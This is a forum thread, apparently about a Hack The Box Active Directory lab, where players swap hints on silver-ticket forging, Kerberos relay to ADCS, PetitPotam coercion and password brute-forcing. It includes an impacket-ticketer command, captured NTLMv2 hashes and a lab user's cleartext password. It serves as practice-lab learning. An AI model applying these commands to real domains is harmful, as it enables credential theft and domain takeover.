[sly]

Yep. And after that you simply auth with acquired cert, getting WEB-01 machine acc hash, forge Silver ticket (once again, but longer...) and dump hashes or auth as local Admin on WEB-01.
But it's sooo long for the final objective of "Hunting Domain Admins" on the Corp Network.

Actually, i'm surprised ... why `taylor.adm` account didn't locked-up after 3-5 password tries (as it should be!). Probably fuckup of the box creators.
Anyways, you can still brute this same user via ssh. So, patches should fix this 2 parts i think.

can you detail this last commands? i'm having trouble forging the silver ticket and using it to winrm...

[arrogantoverlord]

Yep. And after that you simply auth with acquired cert, getting WEB-01 machine acc hash, forge Silver ticket (once again, but longer...) and dump hashes or auth as local Admin on WEB-01.
But it's sooo long for the final objective of "Hunting Domain Admins" on the Corp Network.

Actually, i'm surprised ... why `taylor.adm` account didn't locked-up after 3-5 password tries (as it should be!). Probably fuckup of the box creators.
Anyways, you can still brute this same user via ssh. So, patches should fix this 2 parts i think.

can you detail this last commands? i'm having trouble forging the silver ticket and using it to winrm...

impacket-ticketer -nthash '8f33c7fc7ff515c1f358e488fbb8b675' -domain-sid 'S-1-5-21-3432610366-2163336488-3604236847' -domain 'darkcorp.htb' -dc-ip 172.16.20.1 -spn 'cifs/web-01.darkcorp.htb' 'WEB-01$'

[Gattsu_berk_1421]

Has anyone managed a correct DNS entry?

[gihimlek]

And about the user ?

User is in 172.16.18.2. Get the svc_acc's NTLM hash with responder, login and escalate your privileges to Administrator

Have you done that? Or you're just repeating what you have been told?

Btw, someone gave me this info: adcs and web enrollment to root web01. He mentioned relaying kerberos over smb using krbrelayx. I'm still looking how to apply this info. Maybe we need to exploit the CertEnroll share? Idk

Someone just confirmed the first part. Instead of spawning ldap shell, remove the interactive part and add the flag to use dns entry, then use krbrelayx to obtain a certificate using adcs. This blog contains the part about enrollment https://www.synacktiv.com/en/publication...-krbrelayx and the format dns entry should have.

Edit: Check with netexec -M adcs module the location of the ADCS

Yep. And after that you simply auth with acquired cert, getting WEB-01 machine acc hash, forge Silver ticket (once again, but longer...) and dump hashes or auth as local Admin on WEB-01.
But it's sooo long for the final objective of "Hunting Domain Admins" on the Corp Network.

Actually, i'm surprised ... why `taylor.adm` account didn't locked-up after 3-5 password tries (as it should be!). Probably fuckup of the box creators.
Anyways, you can still brute this same user via ssh. So, patches should fix this 2 parts i think.

And what is the way to get to DC without bruteforcing the taylor user and after getting local admin on web01?

[h4cker1337m4n]

bdw this are the ntlm-v2 hashes but they wouldn"t help i guess.


!] Error starting SSL server on port 443, check permissions or other servers running.
[HTTP] NTLMv2 Client  : XX.XX.XX,XX
[HTTP] NTLMv2 Username : darkcorp\svc_acc
[HTTP] NTLMv2 Hash    : svc_acc::darkcorp:2bd40dfbc9319823:F75EE00C7C424E578DD31413C6E06DE3:0101000000000000324FE57B157CDB01C00D24713C25838900000000020008004F0057005200450001001E00570049004E002D00590030004E005400360031003200310030004B003500040014004F005700520045002E004C004F00430041004C0003003400570049004E002D00590030004E005400360031003200310030004B0035002E004F005700520045002E004C004F00430041004C00050014004F005700520045002E004C004F00430041004C0008003000300000000000000000000000003000002F4341C14AC6BEB56BFAB7C3964CCA766E891A0A3D9A25D606DF71581B00F8770A001000000000000000000000000000000000000900300048005400540050002F007700650062002D00300032002E006400610072006B0063006F00720070002E006800740062000000000000000000
[SMB] NTLMv2-SSP Client  : XX.XX.XX.XX
[SMB] NTLMv2-SSP Username : darkcorp\WEB-01$
[SMB] NTLMv2-SSP Hash    : WEB-01$::darkcorp:a651ec56f939237d:E237AD013E38577025DFD70EA2D43B61:0101000000000000006E5163157CDB019BB182F2D7DA712800000000020008004F0057005200450001001E00570049004E002D00590030004E005400360031003200310030004B00350004003400570049004E002D00590030004E005400360031003200310030004B0035002E004F005700520045002E004C004F00430041004C00030014004F005700520045002E004C004F00430041004C00050014004F005700520045002E004C004F00430041004C0007000800006E5163157CDB01060004000200000008003000300000000000000000000000004000002F4341C14AC6BEB56BFAB7C3964CCA766E891A0A3D9A25D606DF71581B00F8770A001000000000000000000000000000000000000900300063006900660073002F007700650062002D00300032002E006400610072006B0063006F00720070002E006800740062000000000000000000
[*]Skipping previously captured hash for darkcorp\WEB-01$

Hey brother, may I know how did you get Responder to work over Ligolo? I tried running responder on my Ligolo interface, but was unable to capture anything. It keeps returning "use of closed network connection" on my Ligolo console when I try to reach back from the /status page/

I suppose it should be something wrong with my listener, particularly the second IP part. But I'm not sure what to put there.

listener_add --addr 0.0.0.0:8081 --to 127.0.0.1:80 --tcp

I was able to receive hashes on NTLMrelayx regardless. I'm just wondering how to make Ligolo works too. Thank you in advance!

[kingg]

Yeah, its really annoying. I can't get the bloodhound-python to work either. windapsearch.py ain't working too

I am too having the same issue

[0bfusc8]

bloodhound-python seems to be an issue with htb free only as it worked on my premium vpn account

[spamdegratis5]

Has anyone managed a correct DNS entry?

You need to follow the same format, dc-01<the rest, it starts with 1WU....BAAAA>. Then keep in mind that the ADCS in this box is serving in https, not http.

bdw this are the ntlm-v2 hashes but they wouldn"t help i guess.


!] Error starting SSL server on port 443, check permissions or other servers running.
[HTTP] NTLMv2 Client  : XX.XX.XX,XX
[HTTP] NTLMv2 Username : darkcorp\svc_acc
[HTTP] NTLMv2 Hash    : svc_acc::darkcorp:2bd40dfbc9319823:F75EE00C7C424E578DD31413C6E06DE3:0101000000000000324FE57B157CDB01C00D24713C25838900000000020008004F0057005200450001001E00570049004E002D00590030004E005400360031003200310030004B003500040014004F005700520045002E004C004F00430041004C0003003400570049004E002D00590030004E005400360031003200310030004B0035002E004F005700520045002E004C004F00430041004C00050014004F005700520045002E004C004F00430041004C0008003000300000000000000000000000003000002F4341C14AC6BEB56BFAB7C3964CCA766E891A0A3D9A25D606DF71581B00F8770A001000000000000000000000000000000000000900300048005400540050002F007700650062002D00300032002E006400610072006B0063006F00720070002E006800740062000000000000000000
[SMB] NTLMv2-SSP Client  : XX.XX.XX.XX
[SMB] NTLMv2-SSP Username : darkcorp\WEB-01$
[SMB] NTLMv2-SSP Hash    : WEB-01$::darkcorp:a651ec56f939237d:E237AD013E38577025DFD70EA2D43B61:0101000000000000006E5163157CDB019BB182F2D7DA712800000000020008004F0057005200450001001E00570049004E002D00590030004E005400360031003200310030004B00350004003400570049004E002D00590030004E005400360031003200310030004B0035002E004F005700520045002E004C004F00430041004C00030014004F005700520045002E004C004F00430041004C00050014004F005700520045002E004C004F00430041004C0007000800006E5163157CDB01060004000200000008003000300000000000000000000000004000002F4341C14AC6BEB56BFAB7C3964CCA766E891A0A3D9A25D606DF71581B00F8770A001000000000000000000000000000000000000900300063006900660073002F007700650062002D00300032002E006400610072006B0063006F00720070002E006800740062000000000000000000
[*]Skipping previously captured hash for darkcorp\WEB-01$

Hey brother, may I know how did you get Responder to work over Ligolo? I tried running responder on my Ligolo interface, but was unable to capture anything. It keeps returning "use of closed network connection" on my Ligolo console when I try to reach back from the /status page/

I suppose it should be something wrong with my listener, particularly the second IP part. But I'm not sure what to put there.

listener_add --addr 0.0.0.0:8081 --to 127.0.0.1:80 --tcp

I was able to receive hashes on NTLMrelayx regardless. I'm just wondering how to make Ligolo works too. Thank you in advance!

For krbrelayx you need to point the dns entry to your vpn IP, and use that in the coerce so kerberos auth is used instead of ntlm.

Yeah, its really annoying. I can't get the bloodhound-python to work either. windapsearch.py ain't working too

I am too having the same issue

Yes, that's really weird, rusthound worked flawlessly tho. This is the first time bloodhound-python failed me, even with the hosts entry. You can make it work using dnschef:

sudo dnschef --fakedomains darkcorp.htb,dc-01.darkcorp.htb --fakeip 172.16.20.1 --nameservers 172.16.20.1

~/tools/BloodHound/BloodHoundCE.py/venv/bin/python ~/tools/BloodHound/BloodHoundCE.py/bloodhound.py -u victor.r -p 'victor1gustavo@#' -ns 127.0.0.1 -d darkcorp.htb -c dconly --zip -op dconly

[potato_moose]

Did anyone manage to get krbrelayx working?
PetitPotam says 'Attack worked', but no certs dumped.
Would be grateful for any help.

[kingg]

bloodhound-python seems to be an issue with htb free only as it worked on my premium vpn account

I am too using premium account. I can get ldap data but when I try to get data for bloodhound it throws errors